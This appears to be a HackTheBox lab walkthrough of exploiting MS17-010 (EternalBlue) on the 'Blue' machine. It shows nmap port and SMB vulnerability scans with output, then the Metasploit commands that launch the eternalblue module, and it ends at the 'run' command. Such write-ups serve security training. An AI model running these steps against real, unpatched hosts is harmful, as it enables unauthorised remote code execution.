**How to Hack Windows with EternalBlue**

Hello Hackers!!  
On April 8 of 2017, the group The Shadow Brokers after entering the systems of the NSA, to expose in their Github the tools they found.

Within the filtered tools, there is an exploit (EternalBlue) that allows exploiting a vulnerability in the SMB protocol version 1, and of this way can execute Remote Code (RCE) on the victim machine gaining access to the system.

* Microsoft Bulletin: [MS17-010(Critical)](https://www.microsoft.com/en-us/msrc?rtc=1)
* Common Vulnerabilities and Exposures: [CVE-2017-0143](https://nvd.nist.gov/vuln/detail/CVE-2017-0143)

**¿WHAT EFFECT HAVE THIS VULNERABILITY?**  
This vulnerability was used to propagate Ransomware Wanna Cry, which encrypted data from companies, and medical centers. To date, there are many variants of Ransomeware.

**Hacking**[**Blue**](https://www.hackthebox.eu/home/machines/profile/51)

Today we will learn how to exploit this vulnerability using Metasploit, for this demonstration an intrusion test will be performed towards the [Blue](https://www.hackthebox.eu/home/machines/profile/51) machine of the HackTheBox platform.

**Network Enumeration**

Let’s start with a quick NMAP scan to discover open ports.

╭─[~/Desktop/APOLO/Ethic4l-Hacking/Operations/Premium/Blue]─[root@Arthorias]─[0]─[3673]

╰─[:**)]** *# nmap -p- -sV -T4 -oN Blue.nmap 10.10.10.40*

Starting Nmap 7.70 **(** [https://nmap.org](https://nmap.org/) **)** at 2019-04-09 08:54 -05

Nmap scan report **for** 10.10.10.40

Host is up **(**0.39s latency**)**.

Not shown: 65526 closed ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds **(**workgroup: WORKGROUP**)**

49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49156/tcp open msrpc Microsoft Windows RPC

49157/tcp open msrpc Microsoft Windows RPC

Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Apparently, the team is running the SMB service with port 445.  
We will continue listing this service, for this we will use nmap scripts specifically for the SMB service.  
SMB, is a network protocol that allows files, printers and others services to be shared between nodes of a network of computers that use the Microsoft Windows operating system.  
[Full Article](https://en.wikipedia.org/wiki/Server_Message_Block)

**Scanning vulnerabilities using Nmap scripts for an audit**

Nmap is highly recognized in the world of Informatic security for its functionality of scanning networks, ports and services. However, the tool has been improving over the years, offering more and more possibilities that are very interesting. Currently incorporates the use of scripts to check some of the most known vulnerabilities, Which are classified in:

* Auth: Run all your scripts available for authentication
* Default: Executes the default basic scripts of the tool
* Discovery: Retrieve information from the target or victim
* External: Script to use external resources
* Intrusive: Uses scripts that are considered intrusive to the victim or target
* Malware: Check for malicious code connections or backdoors (backdoors)
* Safe: Executes the scripts not intrusive
* Vuln: Discover the most known vulnerabilities
* All: Runs absolutely all scripts with NSE extension available

To perform a search of the scripts related to SMB and use them with Nmap, we do the following:

╭─[~/Desktop/APOLO/Ethic4l-Hacking/Operations/Premium/Blue]─[root@Arthorias]─[0]─[3672]

╰─[:**)]** *# ls /usr/share/nmap/scripts/ | grep "smb-vuln"*

smb-vuln-conficker.nse

smb-vuln-cve2009-3103.nse

smb-vuln-cve-2017-7494.nse

smb-vuln-ms06-025.nse

smb-vuln-ms07-029.nse

smb-vuln-ms08-067.nse

smb-vuln-ms10-054.nse

smb-vuln-ms10-061.nse

smb-vuln-ms17-010.nse

smb-vuln-regsvc-dos.nse

Let’s try all the previous scripts for port 445 of the SMB service.

╭─[~/Desktop/APOLO/Ethic4l-Hacking/Operations/Premium/Blue]─[root@Arthorias]─[0]─[3672]

╰─[:**)]** *# nmap --script=smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-cve-2017-7494.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse,smb-vuln-regsvc-dos.nse -p445 10.10.10.40*

Starting Nmap 7.70 **(** [https://nmap.org](https://nmap.org/) **)** at 2019-04-09 09:24 -05

Nmap scan report **for** 10.10.10.40

Host is up **(**0.69s latency**)**.

PORT STATE SERVICE

445/tcp open microsoft-ds

Host script results:

|\_smb-vuln-ms10-054: false

|\_smb-vuln-ms10-061: NT\_STATUS\_OBJECT\_NAME\_NOT\_FOUND

| smb-vuln-ms17-010:

| VULNERABLE:

| Remote Code Execution vulnerability **in** Microsoft SMBv1 servers **(**ms17-010**)**

| State: VULNERABLE

| IDs: CVE:CVE-2017-0143

| Risk factor: HIGH

| A critical remote code execution vulnerability exists **in** Microsoft SMBv1

| servers **(**ms17-010**)**.

|

| Disclosure date: 2017-03-14

| References:

| <https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/>

| <https://technet.microsoft.com/en-us/library/security/ms17-010.aspx>

|\_ <https://cve.mitre.org/cgi-bin/cvename.cgi?name>**=**CVE-2017-0143

Another way to evaluate the above is using the scripts of the category **vuln.**

╭─[~/Desktop/APOLO/Ethic4l-Hacking/Operations/Premium/Blue]─[root@Arthorias]─[0]─[3672]

╰─[:**)]** *# nmap --script vuln -p445 10.10.10.40*

Starting Nmap 7.70 **(** [https://nmap.org](https://nmap.org/) **)** at 2019-04-09 09:22 -05

Pre-scan script results:

| broadcast-avahi-dos:

| Discovered hosts:

| 224.0.0.251

| After NULL UDP avahi packet DoS **(**CVE-2011-1002**)**.

|\_ Hosts are all up **(**not vulnerable**)**.

Nmap scan report **for** 10.10.10.40

Host is up **(**0.20s latency**)**.

PORT STATE SERVICE

445/tcp open microsoft-ds

Host script results:

|\_smb-vuln-ms10-054: false

|\_smb-vuln-ms10-061: NT\_STATUS\_OBJECT\_NAME\_NOT\_FOUND

| smb-vuln-ms17-010:

| VULNERABLE:

| Remote Code Execution vulnerability **in** Microsoft SMBv1 servers **(**ms17-010**)**

| State: VULNERABLE

| IDs: CVE:CVE-2017-0143

| Risk factor: HIGH

| A critical remote code execution vulnerability exists **in** Microsoft SMBv1

| servers **(**ms17-010**)**.

|

| Disclosure date: 2017-03-14

| References:

| <https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/>

| <https://cve.mitre.org/cgi-bin/cvename.cgi?name>**=**CVE-2017-0143

|\_ <https://technet.microsoft.com/en-us/library/security/ms17-010.aspx>

With the results of the previous scans, we were able to identify the following:

* OS: Windows 7
* Computer name: HARIS-PC
* VULNERABLE smb-vuln-ms17-010

After identifying that our machine is vulnerable to EternalBlue, we are going to use a metasploit module that allows us to exploit this vulnerability.

╭─[~/Desktop/APOLO/Ethic4l-Hacking/Operations/Premium/Blue]─[root@Arthorias]─[0]─[3672]

╰─[:**)]** *# msfconsole*

msf5 **>** use exploit/windows/smb/ms17\_010\_eternalblue

msf5 exploit**(**windows/smb/ms17\_010\_eternalblue**)** **>** set rhost 10.10.10.40

msf5 exploit**(**windows/smb/ms17\_010\_eternalblue**)** **>** run